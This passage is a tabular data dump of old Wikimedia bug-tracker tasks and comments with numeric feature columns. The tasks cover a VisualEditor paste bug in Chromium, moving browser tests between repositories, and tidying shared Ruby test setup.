@SalixAlba: If you can still reproduce this problem, please provide browser information. (Also, testing with the browser and having add-ons / extensions disabled or such might be welcome.)",,,1423705265,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-keti3xueyglzi4p4spht,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,11.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,2.0,5.0,9.0,0.0,0.0,0.0,0.0,6.0,1.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,4.325,0.7625,"Cannot reproduce the problem either with the given links and Firefox 35...
Assuming that this has magically fixed itself.
Hence closing this ticket as DECLINED as no-one else could reproduce so far, unfortunately.
SCREEN_NAME: If you can still reproduce this problem, please provide browser information. (Also, testing with the browser and having add-ons / extensions disabled or such might be welcome.)"
402144,text duplicated when following an image,Cannot reproduce. Was this fixed at some point?,,,1421888484,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-keti3xueyglzi4p4spht,task_subcomment,,True,c1,3,True,,,81,,9.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,Cannot reproduce. Was this fixed at some point?
55632,VisualEditor: Cannot paste into edit summary in Chromium,"I cannot paste text into the edit summary with Ctrl+V or right click and paste when I use Chromium Version 28.0.1500.71 Ubuntu 13.04 (28.0.1500.71-0ubuntu1.13.04.1). Nothing happens. It works fine in FireFox though.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377976740,1393634250.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_description,resolved,True,c1,3,False,False,False,8,,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,5.0,5.0,9.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.413793103448276,0.7413793103448276,"I cannot paste text into the edit summary with Ctrl+V or right click and paste when I use Chromium Version 28.0.1500.71 Ubuntu 13.04 (28.0.1500.71-0ubuntu1.13.04.1). Nothing happens. It works fine in FireFox though.

--------------------------
**Version**: unspecified
**Severity**: normal"
254552,VisualEditor: Cannot paste into edit summary in Chromium,"Now that the edit summary is in its own window, this bug has gone away. I don't know whether the plan is to eventually return to the edit confirmation flyout - if so this bug may well reappear.",,,1393634250,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,7.0,5.0,5.0,10.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8095238095238095,"Now that the edit summary is in its own window, this bug has gone away. I don't know whether the plan is to eventually return to the edit confirmation flyout - if so this bug may well reappear."
254547,VisualEditor: Cannot paste into edit summary in Chromium,"en.wp user ToE further reports:
Upon upgrading to Google Chrome: 29.0.1547.76 (Official Build 223446) m, JavaScript V8 3.19.18.23, paste into edit summary works properly.",,,1380030184,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,0.9375,"en.wp user ToE further reports:
Upon upgrading to Google Chrome: 29.0.1547.76 (Official Build 223446) m, JavaScript V8 3.19.18.23, paste into edit summary works properly."
254540,VisualEditor: Cannot paste into edit summary in Chromium,"en.wp user ToE reports:
[this bug] also applies to Google Chrome, version ""29.0.1547.66 (Official Build 220848) m"", JavaScript V8 3.19.18.19, running on Windows 7 Home Premium, Service Pack 1. Paste into edit summary works fine on the same machine in Firefox version 23.0.1.",,,1379878291,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.087719298245614,0.8771929824561403,"en.wp user ToE reports:
[this bug] also applies to Google Chrome, version ""29.0.1547.66 (Official Build 220848) m"", JavaScript V8 3.19.18.19, running on Windows 7 Home Premium, Service Pack 1. Paste into edit summary works fine on the same machine in Firefox version 23.0.1."
254534,VisualEditor: Cannot paste into edit summary in Chromium,"I'm observing the exact same problem in the same Chromium version on Ubuntu 13.04 (no error messages in the JavaScript console, works fine in Firefox).",,,1379211478,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,17.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.233333333333333,0.8333333333333334,"I'm observing the exact same problem in the same Chromium version on Ubuntu 13.04 (no error messages in the JavaScript console, works fine in Firefox)."
254530,VisualEditor: Cannot paste into edit summary in Chromium,"**eliashedberg** wrote:

I had the same (or a similar) problem in Chrome 29.0.1547.62 under Mac OS X 10.6.8: when pasting the string ""Lavoslav Ružička"" into the edit summary the page behind the summary jumped down and back up (or the other way around) but there was no text inserted into the edit summary.

I can recreate the failed paste action in the edit summary of my sandbox, but the text behind the edit summary doesn’t move (potentially because that article is too short).

I can recreate the failed paste action with other strings too (in Chrome), i.e. no pasting works, no matter what string I try to paste.

In Firefox, pasting into the edit summary works fine (Firefox 23.0.1, also under OS X 10.6.8).",,,1378189372,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.5,3.0,0.0,6.0,9.5,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,1.5,1.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,9.0,1.0,2.5,10.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,3.0,9.5,5.0,0.0,1.0,0.0,3.0,0.0,1.0,0.5,0.0,2.0,0.0,0.0,0.5,3.801282051282051,0.6923076923076923,"**eliashedberg** wrote:

I had the same (or a similar) problem in Chrome 29.0.1547.62 under Mac OS X 10.6.8: when pasting the string ""Lavoslav Ružička"" into the edit summary the page behind the summary jumped down and back up (or the other way around) but there was no text inserted into the edit summary.

I can recreate the failed paste action in the edit summary of my sandbox, but the text behind the edit summary doesn’t move (potentially because that article is too short).

I can recreate the failed paste action with other strings too (in Chrome), i.e. no pasting works, no matter what string I try to paste.

In Firefox, pasting into the edit summary works fine (Firefox 23.0.1, also under OS X 10.6.8)."
254524,VisualEditor: Cannot paste into edit summary in Chromium,"Hm, how do I find the browser's error console? If it's F12 and Console, then no, no messages there. 

I noticed that if the page I was editing is not scrolled to the top, when I try to paste, it behaves as if I press arrow up.",,,1378154905,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,14.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.0,10.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,12.0,14.0,5.0,2.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,3.103448275862069,0.7241379310344828,"Hm, how do I find the browser's error console? If it's F12 and Console, then no, no messages there. 

I noticed that if the page I was editing is not scrolled to the top, when I try to paste, it behaves as if I press arrow up."
254517,VisualEditor: Cannot paste into edit summary in Chromium,Is there any kind of output in the browser's error console when you try?,,,1378119003,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dfdz2k3zlkzv6jpt4n44,task_subcomment,,True,c1,3,True,,,9,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6875,1.0,Is there any kind of output in the browser's error console when you try?
55582,Delete tests from browsertests repository that are moved to other repositories,"We have moved ULS and VisualEditor tests to their repositories. Delete the code from browsertests repository.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377862680,1382022159.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,0.7222222222222222,"We have moved ULS and VisualEditor tests to their repositories. Delete the code from browsertests repository.

--------------------------
**Version**: unspecified
**Severity**: normal"
252094,Delete tests from browsertests repository that are moved to other repositories,"Reopening until we decide if search.feature file should:

- stay in browsertests repo
- be moved to CirrusSearch repo
- be deleted",,,1381823392,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_subcomment,,True,c1,3,True,,,15,,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,15.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.3076923076923075,0.8076923076923077,"Reopening until we decide if search.feature file should:

- stay in browsertests repo
- be moved to CirrusSearch repo
- be deleted"
252089,Delete tests from browsertests repository that are moved to other repositories,"Change 88992 merged by Cmcmahon:
Flow tests are moved to Flow repository

https://gerrit.wikimedia.org/r/88992",,,1381420151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,0.9375,"Change 88992 merged by Cmcmahon:
Flow tests are moved to Flow repository

GERRIT_URL"
252084,Delete tests from browsertests repository that are moved to other repositories,"Chris, did we move all tests from browsertests repository to relevant repositories? Should this bug be resolved?

The only remaining feature file that I see in browsertests repository that should be either deleted or moved to CirrusSearch repository is search.feature. Or, should we leave it in browsertests repository?",,,1381416666,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_subcomment,,True,c1,3,True,,,14,,2.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,5.0,11.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,9.0,4.0,5.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.963636363636364,0.7454545454545455,"Chris, did we move all tests from browsertests repository to relevant repositories? Should this bug be resolved?

The only remaining feature file that I see in browsertests repository that should be either deleted or moved to CirrusSearch repository is search.feature. Or, should we leave it in browsertests repository?"
252079,Delete tests from browsertests repository that are moved to other repositories,"Change 88992 had a related patch set uploaded by Zfilipin:
Flow tests are moved to Flow repository

https://gerrit.wikimedia.org/r/88992",,,1381416355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pqtihvfc7f4d73rdtnjq,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,0.9523809523809523,"Change 88992 had a related patch set uploaded by Zfilipin:
Flow tests are moved to Flow repository

GERRIT_URL"
55581,Figure out how to reuse common test code between repositories,"At the moment we have similar setup code for browser tests in 6 repositories:

https://github.com/wikimedia/qa-browsertests
https://github.com/wikimedia/mediawiki-extensions-CirrusSearch
https://github.com/wikimedia/mediawiki-extensions-MobileFrontend
https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector
https://github.com/wikimedia/mediawiki-extensions-VisualEditor
https://github.com/wikimedia/mediawiki-extensions-Wikibase

Figure out a way how to reduce code duplication. We should probably create a Ruby gem.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377862440,1381410774.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-ma7ogjs2kvk66wshe44k,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,19.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,8.0,11.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.65625,0.609375,"At the moment we have similar setup code for browser tests in 6 repositories:

URL
URL
URL
URL
URL
URL

Figure out a way how to reduce code duplication. We should probably create a Ruby gem.

--------------------------
**Version**: unspecified
**Severity**: normal"
252024,Figure out how to reuse common test code between repositories,"

*** This bug has been marked as a duplicate of bug 53579 ***",,,1381410774,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-ma7ogjs2kvk66wshe44k,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 53579 ***"
55580,Update readme file so it contains links to all repositories with Selenium tests,"README.md[1] file has information about Selenium tests in

https://github.com/wikimedia/mediawiki-extensions-MobileFrontend

Add links to:

https://github.com/wikimedia/mediawiki-extensions-CirrusSearch
https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector
https://github.com/wikimedia/mediawiki-extensions-VisualEditor
https://github.com/wikimedia/mediawiki-extensions-Wikibase

1: https://github.com/wikimedia/qa-browsertests/blob/master/README.md

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377862320,1382359575.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-dhqbmbptdf76io4mrpls,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.5,"README.md[1] file has information about Selenium tests in

URL

Add links to:

URL
URL
URL
URL

1: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
251980,Update readme file so it contains links to all repositories with Selenium tests,"Change 90562 merged by jenkins-bot:
Relevant links

https://gerrit.wikimedia.org/r/90562",,,1382362818,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhqbmbptdf76io4mrpls,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.384615384615385,1.0,"Change 90562 merged by jenkins-bot:
Relevant links

GERRIT_URL"
251975,Update readme file so it contains links to all repositories with Selenium tests,"Change 90562 had a related patch set uploaded by Zfilipin:
Relevant links

https://gerrit.wikimedia.org/r/90562",,,1382112246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhqbmbptdf76io4mrpls,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.6875,1.0,"Change 90562 had a related patch set uploaded by Zfilipin:
Relevant links

GERRIT_URL"
55579,Make sure all repositories have the latest version of shared code,".ruby-gemset and .ruby-version should be removed and RVM setup should be moved to Gemfile[1].

Repositories that are doing it right:
https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector
https://github.com/wikimedia/mediawiki-extensions-VisualEditor

Repositories that should be updated:

https://github.com/wikimedia/mediawiki-extensions-CirrusSearch
https://github.com/wikimedia/mediawiki-extensions-MobileFrontend
https://github.com/wikimedia/mediawiki-extensions-Wikibase
https://github.com/wikimedia/qa-browsertests

1: https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector/blob/master/tests/browser/Gemfile#L1-L2

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377861960,1382729080.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-uvse6kpckod47zira6mk,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,1.0,13.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,3.652173913043478,0.4782608695652174,".ruby-gemset and .ruby-version should be removed and RVM setup should be moved to Gemfile[1].

Repositories that are doing it right:
URL
URL

Repositories that should be updated:

URL
URL
URL
URL

1: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
